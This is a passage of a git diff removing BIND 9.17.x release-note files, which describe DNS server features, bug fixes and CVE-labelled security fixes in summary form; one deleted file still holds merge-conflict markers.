-~~~~~~~~~~~~
-
--  UDP network ports used for listening can no longer simultaneously be
-   used for sending traffic. An example configuration which triggers
-   this issue would be one which uses the same ``address:port`` pair for
-   ``listen-on(-v6)`` statements as for ``notify-source(-v6)`` or
-   ``transfer-source(-v6)``. While this issue affects all operating
-   systems, it only triggers log messages (e.g. "unable to create
-   dispatch for reserved port") on some of them. There are currently no
-   plans to make such a combination of settings work again.
-
-New Features
-~~~~~~~~~~~~
-
--  When a secondary server receives a large incremental zone transfer
-   (IXFR), it can have a negative impact on query performance while the
-   incremental changes are applied to the zone. To address this,
-   ``named`` can now limit the size of IXFR responses it sends in
-   response to zone transfer requests. If an IXFR response would be
-   larger than an AXFR of the entire zone, it will send an AXFR response
-   instead.
-
-   This behavior is controlled by the ``max-ixfr-ratio`` option - a
-   percentage value representing the ratio of IXFR size to the size of a
-   full zone transfer. The default is ``100%``. :gl:`#1515`
-
--  A new RPZ option ``nsdname-wait-recurse`` controls whether
-   RPZ-NSDNAME rules should always be applied even if the names of
-   authoritative name servers for the query name need to be looked up
-   recurively first. The default is ``yes``. Setting it to ``no`` speeds
-   up initial responses by skipping RPZ-NSDNAME rules when name server
-   domain names are not yet in the cache. The names will be looked up in
-   the background and the rule will be applied for subsequent queries.
-   :gl:`#1138`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
--  The system-provided POSIX Threads read-write lock implementation is
-   now used by default instead of the native BIND 9 implementation.
-   Please be aware that glibc versions 2.26 through 2.29 had a bug_ that
-   could cause BIND 9 to deadlock. A fix was released in glibc 2.30, and
-   most current Linux distributions have patched or updated glibc, with
-   the notable exception of Ubuntu 18.04 (Bionic) which is a work in
-   progress. If you are running on an affected operating system, compile
-   BIND 9 with ``--disable-pthread-rwlock`` until a fixed version of
-   glibc is available. :gl:`!3125`
-
-.. _bug: https://sourceware.org/bugzilla/show_bug.cgi?id=23844
-
--  The ``rndc nta -dump`` and ``rndc secroots`` commands now both
-   include ``validate-except`` entries when listing negative trust
-   anchors. These are indicated by the keyword ``permanent`` in place of
-   the expiry date. :gl:`#1532`
-
-Bug Fixes
-~~~~~~~~~
-
--  Fixed re-signing issues with inline zones which resulted in records
-   being re-signed late or not at all.
diff --git a/doc/notes/notes-9.17.1.rst b/doc/notes/notes-9.17.1.rst
deleted file mode 100644
index 305c9858a4..0000000000
--- a/doc/notes/notes-9.17.1.rst
+++ /dev/null
@@ -1,69 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.1
----------------------
-
-Security Fixes
-~~~~~~~~~~~~~~
-
--  DNS rebinding protection was ineffective when BIND 9 is configured as
-   a forwarding DNS server. Found and responsibly reported by Tobias
-   Klein. :gl:`#1574`
-
-Known Issues
-~~~~~~~~~~~~
-
--  We have received reports that in some circumstances, receipt of an
-   IXFR can cause the processing of queries to slow significantly. Some
-   of these were related to RPZ processing, which has been fixed in this
-   release (see below). Others appear to occur where there are
-   NSEC3-related changes (such as an operator changing the NSEC3 salt
-   used in the hash calculation). These are being investigated.
-   :gl:`#1685`
-
-New Features
-~~~~~~~~~~~~
-
--  A new option, ``nsdname-wait-recurse``, has been added to the
-   ``response-policy`` clause in the configuration file. When set to
-   ``no``, RPZ NSDNAME rules are only applied if the authoritative
-   nameservers for the query name have been looked up and are present in
-   the cache. If this information is not present, the RPZ NSDNAME rules
-   are ignored, but the information is looked up in the background and
-   applied to subsequent queries. The default is ``yes``, meaning that
-   RPZ NSDNAME rules should always be applied, even if the information
-   needs to be looked up first. :gl:`#1138`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
--  The previous DNSSEC sign statistics used lots of memory. The number
-   of keys to track is reduced to four per zone, which should be enough
-   for 99% of all signed zones. :gl:`#1179`
-
-Bug Fixes
-~~~~~~~~~
-
--  When an RPZ policy zone was updated via zone transfer and a large
-   number of records was deleted, ``named`` could become nonresponsive
-   for a short period while deleted names were removed from the RPZ
-   summary database. This database cleanup is now done incrementally
-   over a longer period of time, reducing such delays. :gl:`#1447`
-
--  When trying to migrate an already-signed zone from ``auto-dnssec
-   maintain`` to one based on ``dnssec-policy``, the existing keys were
-   immediately deleted and replaced with new ones. As the key rollover
-   timing constraints were not being followed, it was possible that some
-   clients would not have been able to validate responses until all old
-   DNSSEC information had timed out from caches. BIND now looks at the
-   time metadata of the existing keys and incorporates it into its
-   DNSSEC policy operation. :gl:`#1706`
-
diff --git a/doc/notes/notes-9.17.10.rst b/doc/notes/notes-9.17.10.rst
deleted file mode 100644
index cfb942b496..0000000000
--- a/doc/notes/notes-9.17.10.rst
+++ /dev/null
@@ -1,118 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.10
-----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- Support for DNS-over-HTTPS (DoH) was added to ``named``. Because of
-  this, the ``nghttp2`` HTTP/2 library is now required for building the
-  development branch of BIND 9. Both TLS-encrypted and unencrypted
-  HTTP/2 connections are supported (the latter may be used to offload
-  encryption to other software).
-
-  Note that there is no client-side support for HTTPS as yet; this will
-  be added to ``dig`` in a future release. :gl:`#1144`
-
-- ``named`` now supports XFR-over-TLS (XoT) for incoming as well as
-  outgoing zone transfers. Addresses in a ``primaries`` list can now be
-  accompanied by an optional ``tls`` keyword, followed by either the
-  name of a previously configured ``tls`` statement or ``ephemeral``.
-  :gl:`#2392`
-
-- A new option, ``stale-answer-client-timeout``, has been added to
-  improve ``named``'s behavior with respect to serving stale data. The
-  option defines the amount of time ``named`` waits before attempting to
-  answer the query with a stale RRset from cache. If a stale answer is
-  found, ``named`` continues the ongoing fetches, attempting to refresh
-  the RRset in cache until the ``resolver-query-timeout`` interval is
-  reached.
-
-  The default value is ``1800`` (in milliseconds) and the maximum value
-  is limited to ``resolver-query-timeout`` minus one second. A value of
-  ``0`` causes any available cached RRset to immediately be returned
-  while still triggering a refresh of the data in cache.
-
-  This new behavior can be disabled by setting
-  ``stale-answer-client-timeout`` to ``off`` or ``disabled``. The new
-  option has no effect if ``stale-answer-enable`` is disabled.
-  :gl:`#2247`
-
-Removed Features
-~~~~~~~~~~~~~~~~
-
-- A number of non-working configuration options that had been marked as
-  obsolete in previous releases have now been removed completely. Using
-  any of the following options is now considered a configuration
-  failure: ``acache-cleaning-interval``, ``acache-enable``,
-  ``additional-from-auth``, ``additional-from-cache``,
-  ``allow-v6-synthesis``, ``cleaning-interval``, ``dnssec-enable``,
-  ``dnssec-lookaside``, ``filter-aaaa``, ``filter-aaaa-on-v4``,
-  ``filter-aaaa-on-v6``, ``geoip-use-ecs``, ``lwres``,
-  ``max-acache-size``, ``nosit-udp-size``, ``queryport-pool-ports``,
-  ``queryport-pool-updateinterval``, ``request-sit``, ``sit-secret``,
-  ``support-ixfr``, ``use-queryport-pool``, ``use-ixfr``. :gl:`#1086`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- When serve-stale is enabled and stale data is available, ``named`` now
-  returns stale answers upon encountering any unexpected error in the
-  query resolution process. This may happen, for example, if the
-  ``fetches-per-server`` or ``fetches-per-zone`` limits are reached. In
-  this case, ``named`` attempts to answer DNS requests with stale data,
-  but does not start the ``stale-refresh-time`` window. :gl:`#2434`
-
-- The default value of ``max-stale-ttl`` has been changed from 12 hours
-  to 1 day and the default value of ``stale-answer-ttl`` has been
-  changed from 1 second to 30 seconds, following :rfc:`8767`
-  recommendations. :gl:`#2248`
-
-- The SONAMEs for BIND 9 libraries now include the current BIND 9
-  version number, in an effort to tightly couple internal libraries with
-  a specific release. This change makes the BIND 9 release process both
-  simpler and more consistent while also unequivocally preventing BIND 9
-  binaries from silently loading wrong versions of shared libraries (or
-  multiple versions of the same shared library) at startup. :gl:`#2387`
-
-- When ``check-names`` is in effect, A records below an ``_spf``,
-  ``_spf_rate``, or ``_spf_verify`` label (which are employed by the
-  ``exists`` SPF mechanism defined in :rfc:`7208` section 5.7/appendix
-  D.1) are no longer reported as warnings/errors. :gl:`#2377`
-
-Bug Fixes
-~~~~~~~~~
-
-- ``named`` failed to start when its configuration included a zone with
-  a non-builtin ``allow-update`` ACL attached. :gl:`#2413`
-
-- Previously, ``dnssec-keyfromlabel`` crashed when operating on an ECDSA
-  key. This has been fixed. :gl:`#2178`
-
-- KASP incorrectly set signature validity to the value of the DNSKEY
-  signature validity. This has been fixed. :gl:`#2383`
-
-- When migrating to KASP, BIND 9 considered keys with the ``Inactive``
-  and/or ``Delete`` timing metadata to be possible active keys. This has
-  been fixed. :gl:`#2406`
-
-- Fix the "three is a crowd" key rollover bug in KASP. When keys rolled
-  faster than the time required to finish the rollover procedure, the
-  successor relation equation failed because it assumed only two keys
-  were taking part in a rollover. This could lead to premature removal
-  of predecessor keys. BIND 9 now implements a recursive successor
-  relation, as described in the paper "Flexible and Robust Key Rollover"
-  (Equation (2)). :gl:`#2375`
-
-- Performance of the DNSSEC verification code (used by
-  ``dnssec-signzone``, ``dnssec-verify``, and mirror zones) has been
-  improved. :gl:`#2073`
diff --git a/doc/notes/notes-9.17.11.rst b/doc/notes/notes-9.17.11.rst
deleted file mode 100644
index 3cc88781c7..0000000000
--- a/doc/notes/notes-9.17.11.rst
+++ /dev/null
@@ -1,90 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.11
-----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- ``dig`` has been extended to support DNS-over-HTTPS (DoH) queries,
-  using ``dig +https`` and related options. :gl:`#1641`
-
-- A new ``purge-keys`` option has been added to ``dnssec-policy``. It
-  sets the period of time that key files are retained after becoming
-  obsolete due to a key rollover; the default is 90 days. This feature
-  can be disabled by setting ``purge-keys`` to 0. :gl:`#2408`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- To prevent users from inadvertently configuring unencrypted
-  DNS-over-HTTPS (DoH) in BIND 9, ``listen-on`` and ``listen-on-v6``
-  statements using the ``http`` parameter must now also specify the
-  ``tls`` parameter. ``tls none`` can be used to explicitly allow
-  unencrypted HTTP connections. :gl:`#2472`
-
-- ``http default`` can now be specified in ``listen-on`` and
-  ``listen-on-v6`` statements to use the default HTTP endpoint of
-  ``/dns-query``. It is no longer necessary to include an ``http``
-  statement in ``named.conf`` unless overriding this value. :gl:`#2472`
-
-Bug Fixes
-~~~~~~~~~
-
-- Zone journal (``.jnl``) files created by versions of ``named`` prior
-  to 9.16.12 were no longer compatible; this could cause problems when
-  upgrading if journal files were not synchronized first. This has been
-  corrected: older journal files can now be read when starting up. When
-  an old-style journal file is detected, it is updated to the new format
-  immediately after loading.
-
-  Note that journals created by the current version of ``named`` are not
-  usable by versions prior to 9.16.12. Before downgrading to a prior
-  release, users are advised to ensure that all dynamic zones have been
-  synchronized using ``rndc sync -clean``.
-
-  A journal file's format can be changed manually by running
-  ``named-journalprint -d`` (downgrade) or ``named-journalprint -u``
-  (upgrade). Note that this *must not* be done while ``named`` is
-  running. :gl:`#2505`
-
-- ``named`` crashed when it was allowed to serve stale answers and
-  ``stale-answer-client-timeout`` was triggered without any (stale) data
-  available in the cache to answer the query. :gl:`#2503`
-
-- If an outgoing packet exceeded ``max-udp-size``, ``named`` dropped it
-  instead of sending back a proper response. To prevent this problem,
-  the ``IP_DONTFRAG`` option is no longer set on UDP sockets, which has
-  been happening since BIND 9.17.6. :gl:`#2466`
-
-- NSEC3 records were not immediately created when signing a dynamic zone
-  using ``dnssec-policy`` with ``nsec3param``. This has been fixed.
-  :gl:`#2498`
-
-- A memory leak occurred when ``named`` was reconfigured after adding an
-  inline-signed zone with ``auto-dnssec maintain`` enabled. This has
-  been fixed. :gl:`#2041`
-
-- An invalid direction field (not one of ``N``, ``S``, ``E``, ``W``) in
-  a LOC record resulted in an INSIST failure when a zone file containing
-  such a record was loaded. :gl:`#2499`
-
-- If an invalid key name (e.g. ``a..b``) was specified in a
-  ``primaries`` list in ``named.conf``, the wrong size was passed to
-  ``isc_mem_put()``, which resulted in the returned memory being put on
-  the wrong free list and prevented ``named`` from starting up. This has
-  been fixed. :gl:`#2460`
-
-- ``libtool`` was inadvertently introduced as a build-time requirement
-  when the build system was revamped in BIND 9.17.2. This unnecessarily
-  prevented hosts without that tool from building BIND 9 from source
-  tarballs. A standalone ``libtool`` script no longer needs to be
-  present in ``PATH`` to build BIND 9 from a source tarball. :gl:`#2504`
diff --git a/doc/notes/notes-9.17.12.rst b/doc/notes/notes-9.17.12.rst
deleted file mode 100644
index 89add727f0..0000000000
--- a/doc/notes/notes-9.17.12.rst
+++ /dev/null
@@ -1,132 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.12
-----------------------
-
-Security Fixes
-~~~~~~~~~~~~~~
-
-- A malformed incoming IXFR transfer could trigger an assertion failure
-  in ``named``, causing it to quit abnormally. (CVE-2021-25214)
-
-  ISC would like to thank Greg Kuechle of SaskTel for bringing this
-<<<<<<< HEAD
-  vulnerability to our attention. :gl:`#2467`
-=======
-  vulnerability to our attention. [GL #2467]
->>>>>>> tmp-main
-
-- ``named`` crashed when a DNAME record placed in the ANSWER section
-  during DNAME chasing turned out to be the final answer to a client
-  query. (CVE-2021-25215)
-
-  ISC would like to thank `Siva Kakarla`_ for bringing this
-<<<<<<< HEAD
-  vulnerability to our attention. :gl:`#2540`
-=======
-  vulnerability to our attention. [GL #2540]
->>>>>>> tmp-main
-
-.. _Siva Kakarla: https://github.com/sivakesava1
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- The ISC implementation of SPNEGO was removed from BIND 9 source code.
-  Instead, BIND 9 now always uses the SPNEGO implementation provided by
-  the system GSSAPI library when it is built with GSSAPI support. All
-  major contemporary Kerberos/GSSAPI libraries contain an implementation
-  of the SPNEGO mechanism. This change was introduced in BIND 9.17.2,
-<<<<<<< HEAD
-  but it was not included in the release notes at the time. :gl:`#2607`
-
-- The default value for the ``stale-answer-client-timeout`` option was
-  changed from ``1800`` (ms) to ``off``. The default value may be
-  changed again in future releases as this feature matures. :gl:`#2608`
-=======
-  but it was not included in the release notes at the time. [GL #2607]
-
-- The default value for the ``stale-answer-client-timeout`` option was
-  changed from ``1800`` (ms) to ``off``. The default value may be
-  changed again in future releases as this feature matures. [GL #2608]
->>>>>>> tmp-main
-
-Bug Fixes
-~~~~~~~~~
-
-- TCP idle and initial timeouts were being incorrectly applied: only the
-  ``tcp-initial-timeout`` was applied on the whole connection, even if
-  the connection were still active, which could prevent a large zone
-  transfer from being sent back to the client. The default setting for
-  ``tcp-initial-timeout`` was 30 seconds, which meant that any TCP
-  connection taking more than 30 seconds was abruptly terminated. This
-<<<<<<< HEAD
-  has been fixed. :gl:`#2583`
-=======
-  has been fixed. [GL #2583]
->>>>>>> tmp-main
-
-- When ``stale-answer-client-timeout`` was set to a positive value and
-  recursion for a client query completed when ``named`` was about to
-  look for a stale answer, an assertion could fail in
-  ``query_respond()``, resulting in a crash. This has been fixed.
-<<<<<<< HEAD
-  :gl:`#2594`
-=======
-  [GL #2594]
->>>>>>> tmp-main
-
-- After upgrading to the previous release, journal files for trust
-  anchor databases (e.g. ``managed-keys.bind.jnl``) could be left in a
-  corrupt state. (Other zone journal files were not affected.) This has
-  been fixed. If a corrupt journal file is detected, ``named`` can now
-<<<<<<< HEAD
-  recover from it. :gl:`#2600`
-
-- When sending queries over TCP, ``dig`` now properly handles ``+tries=1
-  +retry=0`` by not retrying the connection when the remote server
-  closes the connection prematurely. :gl:`#2490`
-=======
-  recover from it. [GL #2600]
-
-- When sending queries over TCP, ``dig`` now properly handles ``+tries=1
-  +retry=0`` by not retrying the connection when the remote server
-  closes the connection prematurely. [GL #2490]
->>>>>>> tmp-main
-
-- CDS/CDNSKEY DELETE records are now removed when a zone transitions
-  from a secure to an insecure state. ``named-checkzone`` also no longer
-  reports an error when such records are found in an unsigned zone.
-<<<<<<< HEAD
-  :gl:`#2517`
-
-- Zones using KASP could not be thawed after they were frozen using
-  ``rndc freeze``. This has been fixed. :gl:`#2523`
-
-- After ``rndc checkds -checkds`` or ``rndc dnssec -rollover`` is used,
-  ``named`` now immediately attempts to reconfigure zone keys. This
-  change prevents unnecessary key rollover delays. :gl:`#2488`
-
-- ``named`` crashed after skipping a primary server while transferring a
-  zone over TLS. This has been fixed. :gl:`#2562`
-=======
-  [GL #2517]
-
-- Zones using KASP could not be thawed after they were frozen using
-  ``rndc freeze``. This has been fixed. [GL #2523]
-
-- After ``rndc checkds -checkds`` or ``rndc dnssec -rollover`` is used,
-  ``named`` now immediately attempts to reconfigure zone keys. This
-  change prevents unnecessary key rollover delays. [GL #2488]
-
-- ``named`` crashed after skipping a primary server while transferring a
-  zone over TLS. This has been fixed. [GL #2562]
->>>>>>> tmp-main
diff --git a/doc/notes/notes-9.17.13.rst b/doc/notes/notes-9.17.13.rst
deleted file mode 100644
index 1166f4f0a8..0000000000
--- a/doc/notes/notes-9.17.13.rst
+++ /dev/null
@@ -1,83 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.13
-----------------------
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
-- DNSSEC responses containing NSEC3 records with iteration counts
-  greater than 150 are now treated as insecure. :gl:`#2445`
-
-- The maximum supported number of NSEC3 iterations that can be
-  configured for a zone has been reduced to 150. :gl:`#2642`
-
-- After the network manager was introduced to ``named`` to handle
-  incoming traffic, it was discovered that recursive performance had
-  degraded compared to previous BIND 9 versions. This has now been
-  fixed by processing internal tasks inside network manager worker
-  threads, preventing resource contention among two sets of threads.
-  :gl:`#2638`
-
-- Zones that want to transition from secure to insecure mode without
-  becoming bogus in the process must now have their ``dnssec-policy``
-  changed first to ``insecure``, rather than ``none``. After the DNSSEC
-  records have been removed from the zone, the ``dnssec-policy`` can be
-  set to ``none`` or removed from the configuration. Setting the
-  ``dnssec-policy`` to ``insecure`` causes CDS and CDNSKEY DELETE
-  records to be published. :gl:`#2645`
-
-- The implementation of the ZONEMD RR type has been updated to match
-  :rfc:`8976`. :gl:`#2658`
-
-- The ``draft-vandijk-dnsop-nsec-ttl`` IETF draft was implemented:
-  NSEC(3) TTL values are now set to the minimum of the SOA MINIMUM value
-  or the SOA TTL. :gl:`#2347`
-
-Bug Fixes
-~~~~~~~~~
-
-- If zone journal files written by BIND 9.16.11 or earlier were present
-  when BIND was upgraded to BIND 9.17.11 or BIND 9.17.12, the zone file
-  for that zone could have been inadvertently rewritten with the current
-  zone contents. This caused the original zone file structure (e.g.
-  comments, ``$INCLUDE`` directives) to be lost, although the zone data
-  itself was preserved. :gl:`#2623`
-
-- It was possible for corrupt journal files generated by an earlier
-  version of ``named`` to cause problems after an upgrade. This has been
-  fixed. :gl:`#2670`
-
-- TTL values in cache dumps were reported incorrectly when
-  ``stale-cache-enable`` was set to ``yes``. This has been fixed.
-  :gl:`#389` :gl:`#2289`
-
-- A deadlock could occur when multiple ``rndc addzone``, ``rndc
-  delzone``, and/or ``rndc modzone`` commands were invoked
-  simultaneously for different zones. This has been fixed. :gl:`#2626`
-
-- ``inline-signing`` was incorrectly described as being inherited from
-  the ``options``/``view`` levels and was incorrectly accepted at those
-  levels without effect. This has been fixed; ``named.conf`` files with
-  ``inline-signing`` at those levels no longer load. :gl:`#2536`
-
-- ``named`` and ``named-checkconf`` did not report an error when
-  multiple zones with the ``dnssec-policy`` option set were using the
-  same zone file. This has been fixed. :gl:`#2603`
-
-- If ``dnssec-policy`` was active and a private key file was temporarily
-  offline during a rekey event, ``named`` could incorrectly introduce
-  replacement keys and break a signed zone. This has been fixed.
-  :gl:`#2596`
-
-- When generating zone signing keys, KASP now also checks for key ID
-  conflicts among newly created keys, rather than just between new and
-  existing ones. :gl:`#2628`
diff --git a/doc/notes/notes-9.17.2.rst b/doc/notes/notes-9.17.2.rst
deleted file mode 100644
index 72e1170298..0000000000
--- a/doc/notes/notes-9.17.2.rst
+++ /dev/null
@@ -1,215 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.2
----------------------
-
-Security Fixes
-~~~~~~~~~~~~~~
-
--  To prevent exhaustion of server resources by a maliciously configured
-   domain, the number of recursive queries that can be triggered by a
-   request before aborting recursion has been further limited. Root and
-   top-level domain servers are no longer exempt from the
-   ``max-recursion-queries`` limit. Fetches for missing name server
-   address records are limited to 4 for any domain. This issue was
-   disclosed in CVE-2020-8616. :gl:`#1388`
-
--  Replaying a TSIG BADTIME response as a request could trigger an
-   assertion failure. This was disclosed in CVE-2020-8617. :gl:`#1703`
-
--  It was possible to trigger an assertion when attempting to fill an
-   oversized TCP buffer. This was disclosed in CVE-2020-8618.
-   :gl:`#1850`
-
--  It was possible to trigger an INSIST failure when a zone with an
-   interior wildcard label was queried in a certain pattern. This was
-   disclosed in CVE-2020-8619. :gl:`#1111` :gl:`#1718`
-
-Known Issues
-~~~~~~~~~~~~
-
--  In this release, the build system has been significantly changed (see
-   below) and there are several unresolved issues to be aware of when
-   using a development release. Please refer to :gl:`GitLab issue #4
-   <#4>` for a list of not-yet-resolved issues that will be fixed in
-   future releases. :gl:`#4`
-
--  BIND crashes on startup when linked against libuv 1.36. This issue
-   is related to ``recvmmsg()`` support in libuv, which was first
-   included in libuv 1.35. The problem was addressed in libuv 1.37, but
-   the relevant libuv code change requires a special flag to be set
-   during library initialization in order for ``recvmmsg()`` support to
-   be enabled. This BIND release sets that special flag when required,
-   so ``recvmmsg()`` support is now enabled when BIND is compiled
-   against either libuv 1.35 or libuv 1.37+; libuv 1.36 is still not
-   usable with BIND. :gl:`#1761` :gl:`#1797`
-
-New Features
-~~~~~~~~~~~~
-
--  The BIND 9 build system has been changed to use a typical
-   autoconf+automake+libtool stack. This should not make any difference
-   for people building BIND 9 from release tarballs, but when building
-   BIND 9 from the Git repository, ``autoreconf -fi`` needs to be run
-   first. Extra attention is also needed when using non-standard
-   ``./configure`` options. :gl:`#4`
-
--  Documentation was converted from DocBook to reStructuredText. The
-   BIND 9 ARM is now generated using Sphinx and published on `Read the
-   Docs`_. Release notes are no longer available as a separate document
-   accompanying a release. :gl:`#83`
-
--  ``named`` and ``named-checkzone`` now reject master zones that have a
-   DS RRset at the zone apex. Attempts to add DS records at the zone
-   apex via UPDATE will be logged but otherwise ignored. DS records
-   belong in the parent zone, not at the zone apex. :gl:`#1798`
-
--  Per-type record count limits can now be specified in
-   ``update-policy`` statements, to limit the number of records of a
-   particular type that can be added to a domain name via dynamic
-   update. :gl:`#1657`
-
--  ``dig`` and other tools can now print the Extended DNS Error (EDE)
-   option when it appears in a request or a response. :gl:`#1835`
-
--  ``dig +qid=<num>`` allows the user to specify a particular query ID
-   for testing purposes. :gl:`#1851`
-
--  A new logging category, ``rpz-passthru``, was added, which allows RPZ
-   passthru actions to be logged into a separate channel. :gl:`#54`
-
--  Zone timers are now exported via statistics channel. For primary
-   zones, only the load time is exported. For secondary zones, exported
-   timers also include expire and refresh times. Contributed by Paul
-   Frieden, Verizon Media. :gl:`#1232`
-
-Feature Changes
-~~~~~~~~~~~~~~~
-
--  The default value of ``max-stale-ttl`` has changed from 1 week to 12
-   hours. This option controls how long ``named`` retains expired RRsets
-   in cache as a potential mitigation mechanism, should there be a
-   problem with one or more domains. Note that cache content retention
-   is independent of whether stale answers are used in response to
-   client queries (``stale-answer-enable yes|no`` and ``rndc serve-stale
-   on|off``). Serving of stale answers when the authoritative servers
-   are not responding must be explicitly enabled, whereas the retention
-   of expired cache content takes place automatically on all versions of
-   BIND 9 that have this feature available. :gl:`#1877`
-
-   .. warning::
-       This change may be significant for administrators who expect that
-       stale cache content will be automatically retained for up to 1
-       week. Add option ``max-stale-ttl 1w;`` to ``named.conf`` to keep
-       the previous behavior of ``named``.
-
--  BIND 9 no longer sets receive/send buffer sizes for UDP sockets,
-   relying on system defaults instead. :gl:`#1713`
-
--  The default rwlock implementation has been changed back to the native
-   BIND 9 rwlock implementation. :gl:`#1753`
-
--  BIND 9 binaries which are neither daemons nor administrative programs
-   were moved to ``$bindir``. Only ``ddns-confgen``, ``named``,
-   ``rndc``, ``rndc-confgen``, and ``tsig-confgen`` were left in
-   ``$sbindir``. :gl:`#1724`
-
--  ``listen-on-v6 { any; }`` creates a separate socket for each
-   interface. Previously, just one socket was created on systems
-   conforming to :rfc:`3493` and :rfc:`3542`. This change was introduced
-   in BIND 9.16.0, but it was accidentally omitted from documentation.
-   :gl:`#1782`
-
--  The native PKCS#11 EdDSA implementation has been updated to PKCS#11
-   v3.0 and thus made operational again. Contributed by Aaron Thompson.
-   :gl:`!3326`
-
--  The OpenSSL ECDSA implementation has been updated to support PKCS#11
-   via OpenSSL engine (see engine_pkcs11 from libp11 project).
-   :gl:`#1534`
-
--  The OpenSSL EdDSA implementation has been updated to support PKCS#11
-   via OpenSSL engine. Please note that an EdDSA-capable OpenSSL engine
-   is required and thus this code is only a proof-of-concept for the
-   time being. Contributed by Aaron Thompson. :gl:`#1763`
-
--  Message IDs in inbound AXFR transfers are now checked for
-   consistency. Log messages are emitted for streams with inconsistent
-   message IDs. :gl:`#1674`
-
--  The question section is now checked when processing AXFR, IXFR,
-   and SOA replies while transferring a zone in. :gl:`#1683`
-
-Bug Fixes
-~~~~~~~~~
-
--  When fully updating the NSEC3 chain for a large zone via IXFR, a
-   temporary loss of performance could be experienced on the secondary
-   server when answering queries for nonexistent data that required
-   DNSSEC proof of non-existence (in other words, queries that required
-   the server to find and to return NSEC3 data). The unnecessary
-   processing step that was causing this delay has now been removed.
-   :gl:`#1834`
-
--  ``named`` could crash with an assertion failure if the name of a
-   database node was looked up while the database was being modified.
-   :gl:`#1857`
-
--  When running on a system with support for Linux capabilities,
-   ``named`` drops root privileges very soon after system startup. This
-   was causing a spurious log message, ``unable to set effective uid to
-   0: Operation not permitted``, which has now been silenced.
-   :gl:`#1042` :gl:`#1090`
-
--  A possible deadlock in ``lib/isc/unix/socket.c`` was fixed.
-   :gl:`#1859`
-
--  Previously, ``named`` did not destroy some mutexes and conditional
-   variables in netmgr code, which caused a memory leak on FreeBSD. This
-   has been fixed. :gl:`#1893`
-
--  A data race in ``lib/dns/resolver.c:log_formerr()`` that could lead
-   to an assertion failure was fixed. :gl:`#1808`
-
--  Previously, ``provide-ixfr no;`` failed to return up-to-date
-   responses when the serial number was greater than or equal to the
-   current serial number. :gl:`#1714`
-
--  A bug in dnstap initialization could prevent some dnstap data from
-   being logged, especially on recursive resolvers. :gl:`#1795`
-
--  A bug in dnssec-policy keymgr was fixed, where the check for the
-   existence of a given key's successor would incorrectly return
-   ``true`` if any other key in the keyring had a successor. :gl:`#1845`
-
--  With dnssec-policy, when creating a successor key, the "goal" state
-   of the current active key (the predecessor) was not changed and thus
-   never removed from the zone. :gl:`#1846`
-
--  When ``named-checkconf -z`` was run, it would sometimes incorrectly
-   set its exit code. It reflected the status of the last view found; if
-   zone-loading errors were found in earlier configured views but not in
-   the last one, the exit code indicated success. Thanks to Graham
-   Clinch. :gl:`#1807`
-
-- ``named-checkconf -p`` could include spurious text in
-  ``server-addresses`` statements due to an uninitialized DSCP value.
-  This has been fixed. :gl:`#1812`
-
--  When built without LMDB support, ``named`` failed to restart after a
-   zone with a double quote (") in its name was added with ``rndc
-   addzone``. Thanks to Alberto FernÃĄndez. :gl:`#1695`
-
--  The ARM has been updated to indicate that the TSIG session key is
-   generated when named starts, regardless of whether it is needed.
-   :gl:`#1842`
-
-.. _Read the Docs: https://bind9.readthedocs.io/
diff --git a/doc/notes/notes-9.17.3.rst b/doc/notes/notes-9.17.3.rst
deleted file mode 100644
index 7894335eaa..0000000000
--- a/doc/notes/notes-9.17.3.rst
+++ /dev/null
@@ -1,80 +0,0 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
-
-Notes for BIND 9.17.3
----------------------
-
-New Features
-~~~~~~~~~~~~
-
-- New ``rndc`` command ``rndc dnssec -status`` shows the current DNSSEC
